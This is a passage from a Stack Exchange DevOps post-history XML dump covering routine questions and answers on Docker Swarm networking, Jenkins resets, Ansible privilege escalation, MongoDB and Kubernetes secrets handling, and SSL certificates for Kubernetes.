&#xD;&#xA;&#xD;&#xA;**How it does not work:**&#xD;&#xA;&#xD;&#xA;    # same commands as above give the output:&#xD;&#xA;    curl: (7) Failed to connect to localhost port ...&#xD;&#xA;    nmap: 1234/tcp closed unknown&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.docker.com/engine/swarm/ingress/&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="11246" PostHistoryTypeId="2" PostId="3594" RevisionGUID="954c5f91-2ff0-4198-ba71-b8079f3c578f" CreationDate="2018-03-09T18:10:40.690" UserId="210" Text="One could also use docker Jenkins LTS. If one wants to start from scratch, just remove the mounted Jenkins home folder and there will be a clean Jenkins in no time.&#xD;&#xA;&#xD;&#xA;https://github.com/jenkinsci/docker/blob/master/README.md" ContentLicense="CC BY-SA 3.0" />
  <row Id="11247" PostHistoryTypeId="5" PostId="3584" RevisionGUID="f31ea603-5b9b-44aa-ba18-ff87091ba6e8" CreationDate="2018-03-09T18:31:09.013" UserId="3087" Comment="Improved question format" Text="I do a lot of testing in my Jenkins VM which I have on my local laptop. I found this time-consuming to remove Jenkins and installing again from scratch. It would be better if I have a simple way to restore my Jenkins.&#xD;&#xA;&#xD;&#xA;Is there a way to remove all the plugins that I have installed manually and keep the plugins that were installed during Jenkins installation? &#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="11248" PostHistoryTypeId="2" PostId="3595" RevisionGUID="45b0894f-7f13-46d5-8504-1a767c05a19f" CreationDate="2018-03-09T19:04:50.277" UserId="6153" Text="I'm talking with companies to help streamline/combine their build process.  They must do it together and their current processes are scary.  We've convinced them to go with AWS/jenkins/bitbucket/artifactory.  &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Now one company wants to use [fedora's mock](https://github.com/rpm-software-management/mock/wiki) for their build environment deps **and** build artifact management.  Another wants to use [docker](https://www.docker.com/) for their build environment but **does not** have a build artifact solution yet.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I suggested a combination of docker (for build env deps) and mock (for product related artifacts and deps) to both.  They scoffed at it.  BTW one of the products is a custom rhel .iso.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;* What are the pros/cons for mock vs docker in the way the two companies are debating using them?   &#xD;&#xA;&#xD;&#xA;* What about pros/cons for my proposal.. or if it is even a smart thing to do?&#xD;&#xA;&#xD;&#xA;* Any other suggested tools/build flow that may work better?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA; " ContentLicense="CC BY-SA 3.0" />
  <row Id="11249" PostHistoryTypeId="1" PostId="3595" RevisionGUID="45b0894f-7f13-46d5-8504-1a767c05a19f" CreationDate="2018-03-09T19:04:50.277" UserId="6153" Text="Build Design - Docker vs Fedora's Mock" ContentLicense="CC BY-SA 3.0" />
  <row Id="11250" PostHistoryTypeId="3" PostId="3595" RevisionGUID="45b0894f-7f13-46d5-8504-1a767c05a19f" CreationDate="2018-03-09T19:04:50.277" UserId="6153" Text="&lt;docker&gt;&lt;docker-compose&gt;&lt;builds&gt;&lt;dependency-management&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="11251" PostHistoryTypeId="5" PostId="3595" RevisionGUID="4cdcddfc-d542-48e7-9e28-9d4b41763916" CreationDate="2018-03-09T19:10:26.417" UserId="6153" Comment="added 251 characters in body" Text="**This post is migrated from a [reddit post](https://www.reddit.com/r/devops/comments/838qm0/build_desgin_docker_vs_fedoras_mock/).  Parts in bold are to adopt it to SE's format.**&#xD;&#xA;&#xD;&#xA;I'm talking with companies to help streamline/combine their build process.  They must do it together and their current processes are scary.  We've convinced them to go with AWS/jenkins/bitbucket/artifactory.  &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Now one company wants to use [fedora's mock](https://github.com/rpm-software-management/mock/wiki) for their build environment deps **and** build artifact management.  Another wants to use [docker](https://www.docker.com/) for their build environment but **does not** have a build artifact solution yet.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I suggested a combination of docker (for build env deps) and mock (for product related artifacts and deps) to both.  They scoffed at it.  BTW one of the products is a custom rhel .iso.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;* What are the pros/cons for mock vs docker in the way the two companies are debating using them?   &#xD;&#xA;&#xD;&#xA;* What about pros/cons for my proposal.. or if it is even a smart thing to do?&#xD;&#xA;&#xD;&#xA;* Any other suggested tools/build flow that may work better?&#xD;&#xA;&#xD;&#xA;**Ultimately I am interested in what is the best practice/most adopted method for doing this (build env deps mgmt/product artifact dep mgmt) in the industry that will have continued support and advancements?**&#xD;&#xA;&#xD;&#xA; " ContentLicense="CC BY-SA 3.0" />
  <row Id="11252" PostHistoryTypeId="2" PostId="3596" RevisionGUID="d78de0d5-f0a2-4696-989b-7cdd0bcf8750" CreationDate="2018-03-09T19:48:55.957" UserId="2807" Text="I haven't tried it myself, but in [Alarms management with Elasticsearch and Kibana][1] someone recommended [Elastalert][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://devops.stackexchange.com/questions/1188/alarms-management-with-elasticsearch-and-kibana&#xD;&#xA;  [2]: http://elastalert.readthedocs.io/en/latest/elastalert.html" ContentLicense="CC BY-SA 3.0" />
  <row Id="11253" PostHistoryTypeId="2" PostId="3597" RevisionGUID="cf4bc1e1-a345-4b41-8e1c-549ad7775d98" CreationDate="2018-03-09T20:18:44.130" UserId="2807" Text="Take a look at [Delegation][1] - you can delegate the execution of tasks to a different host from within a playbook:&#xD;&#xA;&#xD;&#xA;      - name: enable the server in haproxy&#xD;&#xA;        haproxy: 'state=enabled backend=myapplb host={{ inventory_hostname }} socket=/var/lib/haproxy/stats'&#xD;&#xA;        delegate_to: &quot;{{ item }}&quot;&#xD;&#xA;        with_items: groups.lbservers&#xD;&#xA;&#xD;&#xA;  [1]: http://docs.ansible.com/ansible/latest/playbooks_delegation.html#delegation" ContentLicense="CC BY-SA 3.0" />
  <row Id="11256" PostHistoryTypeId="2" PostId="3598" RevisionGUID="9babd8d5-b08d-4ccf-a1b7-1794d05b7fe9" CreationDate="2018-03-09T21:27:38.450" UserId="2805" Text="You have found a Kubernetes issue [#22770](https://github.com/kubernetes/kubernetes/issues/22770), where there is a workaround mentioned [here](https://github.com/kubernetes/helm/issues/1455) and it goes like follows:&#xD;&#xA;&#xD;&#xA;&gt;What you're experiencing is a known issue with k8s where for some operations it expects to be able to resolve your node names in the global DNS.&#xD;&#xA;&#xD;&#xA;&gt;And suggested a work around would be to:&#xD;&#xA;&#xD;&#xA;&gt;  - Add entries to /etc/hosts on the master mapping your hostnames to their public IPs&#xD;&#xA;&gt;  - Install dnsmasq on the master (e.g. apt install -y dnsmasq)&#xD;&#xA;&gt;  - Kill the k8s api server container on master (kubelet will recreate it)&#xD;&#xA;&gt;  - Then systemctl restart docker (or reboot the master) for it to pick up the /etc/resolv.conf changes&#xD;&#xA;&#xD;&#xA;As last comment on the issue #22770 there is &#xD;&#xA;&#xD;&#xA;&gt;I can confirm that adding the names of the our nodes to /etc/hosts on the kubernetes master resolves this problem for us too :)&#xD;&#xA;&#xD;&#xA;, so there is not a fix in k8s coming in any upcoming version. At least from this particular ticket.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="11260" PostHistoryTypeId="2" PostId="3599" RevisionGUID="5d759fd0-75ff-43ea-a9d9-cf0045d49afd" CreationDate="2018-03-10T00:39:54.517" UserId="6859" Text="I'm using this docker image https://hub.docker.com/_/mongo/. That image provides a way of initializing a mongodb root database user with env variables which I can specify in the compose file as follows:&#xD;&#xA;&#xD;&#xA;    environment:&#xD;&#xA;      - MONGO_INITDB_DATABASE=db&#xD;&#xA;      - MONGO_INITDB_ROOT_USERNAME=root&#xD;&#xA;      - MONGO_INITDB_ROOT_PASSWORD=pass&#xD;&#xA;&#xD;&#xA;It seems storing the password in config files is not very secure. How can I use more secure ways (i.e. docker secrets) to init the root user in this case. Same thing for initdb files, which I need to copy to the container and may as well contain more credentials.&#xD;&#xA;&#xD;&#xA;I wonder if anyone here found a more secure way of handling this." ContentLicense="CC BY-SA 3.0" />
  <row Id="11261" PostHistoryTypeId="1" PostId="3599" RevisionGUID="5d759fd0-75ff-43ea-a9d9-cf0045d49afd" CreationDate="2018-03-10T00:39:54.517" UserId="6859" Text="Docker MongoDB image - How to specify credentials other than in the compose file?" ContentLicense="CC BY-SA 3.0" />
  <row Id="11262" PostHistoryTypeId="3" PostId="3599" RevisionGUID="5d759fd0-75ff-43ea-a9d9-cf0045d49afd" CreationDate="2018-03-10T00:39:54.517" UserId="6859" Text="&lt;docker&gt;&lt;docker-compose&gt;&lt;security&gt;&lt;docker-swarm&gt;&lt;databases&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="11263" PostHistoryTypeId="2" PostId="3600" RevisionGUID="77c5ab33-d14f-45c0-ab7b-3b21060fde2e" CreationDate="2018-03-10T02:48:11.400" UserId="6544" Text="Here's a solution I've used in cases like this - I utilize [Ansible](http://docs.ansible.com/ansible/2.4/intro.html) to manage Docker containers, and [Ansible Vault](http://docs.ansible.com/ansible/2.4/vault.html) to store secrets for those containers. &#xD;&#xA;&#xD;&#xA;### Ansible Playbook to run MongoDB container&#xD;&#xA;&#xD;&#xA;Your `playbook.yml` may look something like this:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;- name: run mongodb docker container&#xD;&#xA;  docker_container:&#xD;&#xA;    name: mongo-container&#xD;&#xA;    image: mongo&#xD;&#xA;    ports:&#xD;&#xA;      - &quot;27017:27017&quot;&#xD;&#xA;    env:&#xD;&#xA;      MONGO_INITDB_DATABASE: &quot;{{secret_db_name}}&quot;&#xD;&#xA;      MONGO_INITDB_ROOT_USERNAME: &quot;{{secret_db_user}}&quot;&#xD;&#xA;      MONGO_INITDB_ROOT_PASSWORD: &quot;{{secret_db_pass}}&quot;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;* As you might notice, the [`docker_container`](http://docs.ansible.com/ansible/latest/docker_container_module.html) syntax looks a lot like what you'd write in a Docker Compose YML file.&#xD;&#xA;* The difference is that your _secrets_ are managed in variables (the `{{}}` is [Ansible Jinja2 variables](http://docs.ansible.com/ansible/latest/playbooks_variables.html#using-variables-about-jinja2)).&#xD;&#xA;* Here's a list of [Ansible Modules](http://docs.ansible.com/ansible/latest/list_of_cloud_modules.html#docker) for interacting with Docker.&#xD;&#xA;&#xD;&#xA;### Vault file to manage your `mongodb` secrets&#xD;&#xA;&#xD;&#xA;The `vault.yml` file would contain the definitions of your secrets in an encrypted form.&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;secret_db_name: foodb&#xD;&#xA;secret_db_user: foo&#xD;&#xA;secret_db_pass: bar@123&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;You can use [`ansible-vault` commands](http://docs.ansible.com/ansible/2.4/vault.html) to create encrypted files  (for e.g in version-control). &#xD;&#xA;&#xD;&#xA;### Getting it all together&#xD;&#xA;&#xD;&#xA;When you want to run your Docker container, you would run an Ansible command&#xD;&#xA;&#xD;&#xA;`ansible-playbook playbook.yml --ask-vault-pass`&#xD;&#xA;&#xD;&#xA;Which would &#xD;&#xA;&#xD;&#xA;* ask you for your vault password file, &#xD;&#xA;* decrypt the vault file and pass the variables to the playbook;&#xD;&#xA;* run the docker mongodb container with your secret credentials &#xD;&#xA;&#xD;&#xA;All whilst ensuring your credentials are not publicly visible.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;### Notes&#xD;&#xA;&#xD;&#xA;* I've used this approach to provision Dockerized databases on remote managed servers in a declarative way.&#xD;&#xA;* You introduce one more tool, a 'wrapper' around Docker / Docker Compose. This may or may not be a constraint for you. &#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="11264" PostHistoryTypeId="5" PostId="3600" RevisionGUID="e507a794-9042-4c76-88f7-fba33bef4df1" CreationDate="2018-03-10T02:50:45.610" UserId="47" Comment="improved formatting" Text="Here's a solution I've used in cases like this - I utilize [Ansible](http://docs.ansible.com/ansible/2.4/intro.html) to manage Docker containers, and [Ansible Vault](http://docs.ansible.com/ansible/2.4/vault.html) to store secrets for those containers. &#xD;&#xA;&#xD;&#xA;### Ansible Playbook to run MongoDB container&#xD;&#xA;&#xD;&#xA;Your `playbook.yml` may look something like this:&#xD;&#xA;&#xD;&#xA;    - name: run mongodb docker container&#xD;&#xA;      docker_container:&#xD;&#xA;        name: mongo-container&#xD;&#xA;        image: mongo&#xD;&#xA;        ports:&#xD;&#xA;          - &quot;27017:27017&quot;&#xD;&#xA;        env:&#xD;&#xA;          MONGO_INITDB_DATABASE: &quot;{{secret_db_name}}&quot;&#xD;&#xA;          MONGO_INITDB_ROOT_USERNAME: &quot;{{secret_db_user}}&quot;&#xD;&#xA;          MONGO_INITDB_ROOT_PASSWORD: &quot;{{secret_db_pass}}&quot;&#xD;&#xA;&#xD;&#xA;* As you might notice, the [`docker_container`](http://docs.ansible.com/ansible/latest/docker_container_module.html) syntax looks a lot like what you'd write in a Docker Compose YML file.&#xD;&#xA;* The difference is that your _secrets_ are managed in variables (the `{{}}` is [Ansible Jinja2 variables](http://docs.ansible.com/ansible/latest/playbooks_variables.html#using-variables-about-jinja2)).&#xD;&#xA;* Here's a list of [Ansible Modules](http://docs.ansible.com/ansible/latest/list_of_cloud_modules.html#docker) for interacting with Docker.&#xD;&#xA;&#xD;&#xA;### Vault file to manage your `mongodb` secrets&#xD;&#xA;&#xD;&#xA;The `vault.yml` file would contain the definitions of your secrets in an encrypted form.&#xD;&#xA;&#xD;&#xA;    secret_db_name: foodb&#xD;&#xA;    secret_db_user: foo&#xD;&#xA;    secret_db_pass: bar@123&#xD;&#xA;&#xD;&#xA;You can use [`ansible-vault` commands](http://docs.ansible.com/ansible/2.4/vault.html) to create encrypted files  (for e.g in version-control). &#xD;&#xA;&#xD;&#xA;### Getting it all together&#xD;&#xA;&#xD;&#xA;When you want to run your Docker container, you would run an Ansible command&#xD;&#xA;&#xD;&#xA;`ansible-playbook playbook.yml --ask-vault-pass`&#xD;&#xA;&#xD;&#xA;Which would &#xD;&#xA;&#xD;&#xA;* ask you for your vault password file, &#xD;&#xA;* decrypt the vault file and pass the variables to the playbook;&#xD;&#xA;* run the docker mongodb container with your secret credentials &#xD;&#xA;&#xD;&#xA;All whilst ensuring your credentials are not publicly visible.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;### Notes&#xD;&#xA;&#xD;&#xA;* I've used this approach to provision Dockerized databases on remote managed servers in a declarative way.&#xD;&#xA;* You introduce one more tool, a 'wrapper' around Docker / Docker Compose. This may or may not be a constraint for you. &#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="11265" PostHistoryTypeId="5" PostId="3600" RevisionGUID="778ecc26-1627-455a-aa83-0bd40a5073c0" CreationDate="2018-03-10T02:52:16.913" UserId="6544" Comment="added some explanation" Text="Here's a solution I've used in cases like this - I utilize [Ansible](http://docs.ansible.com/ansible/2.4/intro.html) to manage Docker containers, and [Ansible Vault](http://docs.ansible.com/ansible/2.4/vault.html) to store secrets for those containers. &#xD;&#xA;&#xD;&#xA;### Ansible Playbook to run MongoDB container&#xD;&#xA;&#xD;&#xA;Your `playbook.yml` may look something like this:&#xD;&#xA;&#xD;&#xA;    - name: run mongodb docker container&#xD;&#xA;      docker_container:&#xD;&#xA;        name: mongo-container&#xD;&#xA;        image: mongo&#xD;&#xA;        ports:&#xD;&#xA;          - &quot;27017:27017&quot;&#xD;&#xA;        env:&#xD;&#xA;          MONGO_INITDB_DATABASE: &quot;{{secret_db_name}}&quot;&#xD;&#xA;          MONGO_INITDB_ROOT_USERNAME: &quot;{{secret_db_user}}&quot;&#xD;&#xA;          MONGO_INITDB_ROOT_PASSWORD: &quot;{{secret_db_pass}}&quot;&#xD;&#xA;&#xD;&#xA;* As you might notice, the [`docker_container`](http://docs.ansible.com/ansible/latest/docker_container_module.html) syntax looks a lot like what you'd write in a Docker Compose YML file.&#xD;&#xA;* The difference is that your _secrets_ are managed in variables (the `{{}}` is [Ansible Jinja2 variables](http://docs.ansible.com/ansible/latest/playbooks_variables.html#using-variables-about-jinja2)).&#xD;&#xA;* Here's a list of [Ansible Modules](http://docs.ansible.com/ansible/latest/list_of_cloud_modules.html#docker) for interacting with Docker.&#xD;&#xA;&#xD;&#xA;### Vault file to manage your `mongodb` secrets&#xD;&#xA;&#xD;&#xA;The `vault.yml` file would contain the definitions of your secrets in an encrypted form.&#xD;&#xA;&#xD;&#xA;    secret_db_name: foodb&#xD;&#xA;    secret_db_user: foo&#xD;&#xA;    secret_db_pass: bar@123&#xD;&#xA;&#xD;&#xA;You can use [`ansible-vault` commands](http://docs.ansible.com/ansible/2.4/vault.html) to create encrypted files  (for e.g in version-control). &#xD;&#xA;&#xD;&#xA;### Getting it all together&#xD;&#xA;&#xD;&#xA;When you want to run your Docker container, you would run an Ansible command&#xD;&#xA;&#xD;&#xA;`ansible-playbook playbook.yml --ask-vault-pass`&#xD;&#xA;&#xD;&#xA;Which would &#xD;&#xA;&#xD;&#xA;* ask you for your vault password file, &#xD;&#xA;* decrypt the vault file and pass the variables to the playbook;&#xD;&#xA;* run the docker mongodb container with your secret credentials &#xD;&#xA;&#xD;&#xA;All whilst ensuring your credentials are not publicly visible.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;### Notes&#xD;&#xA;&#xD;&#xA;* I've used this approach to provision Dockerized databases on remote managed servers in a declarative way.&#xD;&#xA;* You introduce one more tool, a 'wrapper' around Docker. In my experience DevOps _toolchains_ work better than utilizing single tools. However, this may or may not be a constraint for you. &#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="11266" PostHistoryTypeId="2" PostId="3601" RevisionGUID="81ee8820-110e-4ea4-8165-34b51a5ec37b" CreationDate="2018-03-10T06:50:04.133" UserId="6861" Text="For example you want to create a file you can use :&#xA;&#xA;     name: Create file&#xA;     shell: &quot;touch abc&quot;&#xA;     become_user: &lt;username&gt;&#xA;     become: yes&#xA;&#xA;This is equivalent to ::&#xA;sudo su username -c &quot;touch abc&quot;" ContentLicense="CC BY-SA 3.0" />
  <row Id="11267" PostHistoryTypeId="2" PostId="3602" RevisionGUID="73be69b2-3472-4ea4-9ee9-be6ebd326edd" CreationDate="2018-03-10T08:22:46.753" UserId="3894" Text="I cloned a VM in Vsphere Client as described [here](https://www.experts-exchange.com/articles/9249/HOW-TO-Clone-or-Copy-a-virtual-machine-in-VMware-vSphere-Hypervisor-ESX-ESXi-4-x-or-ESXi-5-0.html). When I try to start it, it unexpectedly reboot over and over itself. I get this error in console:&#xD;&#xA;&#xD;&#xA;    Call &quot;EnvironmentBrowser.QueryTargetCapabilities&quot; for object &quot;45-envmgr&quot; on ESXi &quot;192.168.100.172&quot; failed.&#xD;&#xA;&#xD;&#xA;Which also shows another status message saying:&#xD;&#xA;&#xD;&#xA;    The object has been deleted or not created completely.&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="11268" PostHistoryTypeId="1" PostId="3602" RevisionGUID="73be69b2-3472-4ea4-9ee9-be6ebd326edd" CreationDate="2018-03-10T08:22:46.753" UserId="3894" Text="Error starting cloned VM in Vsphere Client" ContentLicense="CC BY-SA 3.0" />
  <row Id="11269" PostHistoryTypeId="3" PostId="3602" RevisionGUID="73be69b2-3472-4ea4-9ee9-be6ebd326edd" CreationDate="2018-03-10T08:22:46.753" UserId="3894" Text="&lt;virtualization&gt;&lt;vmware&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="11277" PostHistoryTypeId="2" PostId="3605" RevisionGUID="f13a34b7-20c6-404e-bded-f6485f2aeaee" CreationDate="2018-03-10T13:10:18.447" UserId="5922" Text="Become super user at the play level and become another user at the task level:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    - hosts: all&#xD;&#xA;      become: yes&#xD;&#xA;      tasks:&#xD;&#xA;    &#xD;&#xA;        - file:&#xD;&#xA;            path: /tmp/test&#xD;&#xA;            state: touch&#xD;&#xA;          become_user: www-data&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Validation:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    $ ls -l /tmp | grep test&#xD;&#xA;    -rw-r--r-- 1 www-data www-data    0 Mär 10 14:08 test&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;For very simple cases, a workaround like the following could also help, but this doesn't really scale, as you cannot use ansible modules with this strategy:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    - name: test&#xD;&#xA;      command: &quot;sudo -u www-data whoami&quot;&#xD;&#xA;      become: true&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Output (extract): `&quot;stdout&quot;: &quot;www-data&quot;`" ContentLicense="CC BY-SA 3.0" />
  <row Id="11280" PostHistoryTypeId="50" PostId="3263" RevisionGUID="c039c3eb-2d6e-407e-a77d-0782586caa17" CreationDate="2018-03-10T15:23:24.970" UserId="-1" />
  <row Id="11282" PostHistoryTypeId="5" PostId="3599" RevisionGUID="6874e388-09f2-4621-bdf3-cb489e948c99" CreationDate="2018-03-10T19:51:28.660" UserId="6859" Comment="edited body" Text="I'm using this docker image https://hub.docker.com/_/mongo/. That image provides a way of initializing a mongodb root database user with env variables which I can specify in the compose file as follows:&#xD;&#xA;&#xD;&#xA;    environment:&#xD;&#xA;      - MONGO_INITDB_DATABASE=db&#xD;&#xA;      - MONGO_INITDB_ROOT_USERNAME=root&#xD;&#xA;      - MONGO_INITDB_ROOT_PASSWORD=pass&#xD;&#xA;&#xD;&#xA;It seems storing the password in config files is not very secure. How can I use more secure ways (i.e. docker secrets) to init the root user in this case? Same thing for initdb files, which I need to copy to the container and may as well contain more credentials.&#xD;&#xA;&#xD;&#xA;I wonder if anyone here found a more secure way of handling this." ContentLicense="CC BY-SA 3.0" />
  <row Id="11283" PostHistoryTypeId="6" PostId="3552" RevisionGUID="d129bf28-68bd-4728-a9ab-3645e728732b" CreationDate="2018-03-11T17:53:37.077" UserId="210" Comment="edited tags" Text="&lt;kubernetes&gt;&lt;prometheus&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="11284" PostHistoryTypeId="2" PostId="3607" RevisionGUID="41033a8b-32bd-41ea-b899-c0befeb1f28d" CreationDate="2018-03-11T18:01:43.713" UserId="210" Text="One way to find interdependencies is to check the services page when `kubectl proxy` has been issued and one navigates to http://localhost:8001. For example, if one deploys wordpress pods then a MySql pod and a wordpress pod will be created. As wordpress has to use a database like MySql one could see that the wordpress connects to the Mysql pod in the services page.&#xD;&#xA;&#xD;&#xA;The help command of kubectl was consulted whether there is a subcommand that shows interdependencies, but that does not seem to be available." ContentLicense="CC BY-SA 3.0" />
  <row Id="11286" PostHistoryTypeId="2" PostId="3608" RevisionGUID="870dae8f-24c9-4ab9-99b1-3c342a59d0eb" CreationDate="2018-03-11T19:44:30.040" UserId="210" Text="According to this document&#xD;&#xA;&#xD;&#xA;https://kubernetes.io/docs/tasks/configure-pod-container/pull-image-private-registry/&#xD;&#xA;&#xD;&#xA;one could create a docker registry by running:&#xD;&#xA;&#xD;&#xA;    kubectl create secret docker-registry regcred \&#xD;&#xA;    --docker-server=&lt;your-registry-server&gt; \&#xD;&#xA;    --docker-username=&lt;your-name&gt; \&#xD;&#xA;    --docker-password=&lt;your-pword&gt; --docker-email=&lt;your-email&gt;&#xD;&#xA;&#xD;&#xA;How to create a secret without entering the password as plain text?&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="11287" PostHistoryTypeId="1" PostId="3608" RevisionGUID="870dae8f-24c9-4ab9-99b1-3c342a59d0eb" CreationDate="2018-03-11T19:44:30.040" UserId="210" Text="How to create a docker registry secret without passing the password on the command line?" ContentLicense="CC BY-SA 3.0" />
  <row Id="11288" PostHistoryTypeId="3" PostId="3608" RevisionGUID="870dae8f-24c9-4ab9-99b1-3c342a59d0eb" CreationDate="2018-03-11T19:44:30.040" UserId="210" Text="&lt;kubernetes&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="11289" PostHistoryTypeId="2" PostId="3609" RevisionGUID="11825fc9-226b-4d1c-a1ca-0e2f32578bad" CreationDate="2018-03-11T21:22:21.310" UserId="210" Text="Currently, certbot and nginx are used to create a trusted webpage. Recently, an attempt was made to move the images to a kubernetes cluster on google cloud platform. A guide was found to configure an SSL loadbalancer. It was tried and it shows multiple textboxes to insert a key, cert and chain.&#xD;&#xA;&#xD;&#xA;An attempt was made to see whether Google offers wildcard certs as well, but no information was found. Certbot itself announced last year that they will support wildcard certs, but that does not seem to be the case as well. First impression is that using certbot in the google loadbalancer will not be possible or will be cumbersome as the certs have to be renewed every three months.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="11290" PostHistoryTypeId="1" PostId="3609" RevisionGUID="11825fc9-226b-4d1c-a1ca-0e2f32578bad" CreationDate="2018-03-11T21:22:21.310" UserId="210" Text="What are trusted providers that offer wildcard certificates and associated costs to be used in an Orchestration Platform like Kubernetes?" ContentLicense="CC BY-SA 3.0" />
  <row Id="11291" PostHistoryTypeId="3" PostId="3609" RevisionGUID="11825fc9-226b-4d1c-a1ca-0e2f32578bad" CreationDate="2018-03-11T21:22:21.310" UserId="210" Text="&lt;kubernetes&gt;&lt;ssl&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="11292" PostHistoryTypeId="5" PostId="3609" RevisionGUID="0e4ccb1f-9834-4c99-9c92-28f02d93d0ae" CreationDate="2018-03-11T21:27:45.467" UserId="210" Comment="added 201 characters in body" Text="Currently, certbot and nginx are used to create a trusted webpage. Recently, an attempt was made to move the images to a kubernetes cluster on google cloud platform. A guide was found to configure an SSL loadbalancer. It was tried and it shows multiple textboxes to insert a key, cert and chain.&#xD;&#xA;&#xD;&#xA;An attempt was made to see whether Google offers wildcard certs as well, but no information was found. Certbot itself announced last year that they will support wildcard certs, but that does not seem to be the case as well. First impression is that using certbot in the google loadbalancer will not be possible or will be cumbersome as the certs have to be renewed every three months.&#xD;&#xA;&#xD;&#xA;When one Googles: `cheap wildcard ssl` then a lot of results are shown. The questions are which of these providers can be considered as safe, what are the costs and what providers do you use and why?&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="11293" PostHistoryTypeId="6" PostId="3609" RevisionGUID="0e4ccb1f-9834-4c99-9c92-28f02d93d0ae" CreationDate="2018-03-11T21:27:45.467" UserId="210" Comment="added 201 characters in body" Text="&lt;kubernetes&gt;&lt;ssl&gt;&lt;devsecops&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="11294" PostHistoryTypeId="2" PostId="3610" RevisionGUID="3e9b8aa2-b410-4586-8f79-1eb16b31639a" CreationDate="2018-03-12T02:52:15.933" UserId="6618" Text="Secrets support for mongo is built in. You can see in that [image's entrypoint script][1] that if you add `_FILE` to end of username/password values it will pull from those secret files.&#xD;&#xA;&#xD;&#xA;As for .js files, if you're storing decrypted passwords in those files, you'd need to make a custom entrypoint script or something that will take envvars you're passing in for which secrets to use and run a `jq` or `sed` on the file to replace I guess. You can store the .js files themselves in a secret as longas its smaller than 500Kb (max size of a secret).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/docker-library/mongo/blob/58bdba62b65b1d1e1ea5cbde54c1682f120e0676/3.0/docker-entrypoint.sh#L34-L37" ContentLicense="CC BY-SA 3.0" />
  <row Id="11296" PostHistoryTypeId="2" PostId="3611" RevisionGUID="daff80dc-570e-48ab-a6e0-30cd88dc59e3" CreationDate="2018-03-12T08:50:43.510" UserId="5384" Text="Have a look at &quot;Ingress&quot; and &quot;Cert-Manager&quot;:&#xD;&#xA;&#xD;&#xA;- With a Kubernetes Ingress you can configure the load balancer, see e.g. https://cloud.google.com/kubernetes-engine/docs/tutorials/http-balancer&#xD;&#xA;&#xD;&#xA;- With &quot;Cert-Manager&quot; you can get certificates from Let's Encrypt (like certbot does), and it handles renewing automatically. See https://github.com/jetstack/cert-manager" ContentLicense="CC BY-SA 3.0" />
  <row Id="11297" PostHistoryTypeId="5" PostId="3589" RevisionGUID="e0c59e97-fc26-40b4-a7a5-1c76d0134f47" CreationDate="2018-03-12T09:06:41.763" UserId="707" Comment="added 63 characters in body" Text="Given the simplest example, the test swarm consists just of one node so all containers run in one place.&#xD;&#xA;&#xD;&#xA;The stack is setup to run in a custom Docker network; the containers are not directly mapped to the host (if I do not want this explicitely) but the [mesh network][1] should take care.&#xD;&#xA;&#xD;&#xA;Now I have observed the following:&#xD;&#xA;&#xD;&#xA;- On a Windows machine, published ports are available (curl check OK)&#xD;&#xA;- On a Linux machines with Ubuntu it works&#xD;&#xA;- On a SLES machine it does not work&#xD;&#xA;&#xD;&#xA;I consider, the design is that a custom network is not automatically mapped to host network. &#xD;&#xA;&#xD;&#xA;What could be the problem with the SLES system? How to debug it?&#xD;&#xA;&#xD;&#xA;**UPDATE**&#xD;&#xA;&#xD;&#xA;Firewall does not seem to be a problem here: output for `iptables -L` shows everywhere `all --anywhere`&#xD;&#xA;&#xD;&#xA;Ingress mode is active (no difference with one host); `docker ps` shows a live container listening on the proper tcp port.&#xD;&#xA;&#xD;&#xA;    `[{&quot;Protocol&quot;:&quot;tcp&quot;,&quot;TargetPort&quot;:1234,&quot;PublishedPort&quot;:1234,&quot;PublishMode&quot;:&quot;ingress&quot;}]' &#xD;&#xA;&#xD;&#xA;I have tried as hostname: localhost, actual hostname, 127.0.0.2, host's IP. All tests in the host console. Also checks from outside.&#xD;&#xA;&#xD;&#xA;Possibly related: https://github.com/moby/moby/issues/33972&#xD;&#xA;&#xD;&#xA;====&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**How it works:**&#xD;&#xA;&#xD;&#xA;    curl -d http://localhost:port/api ..&#xD;&#xA;    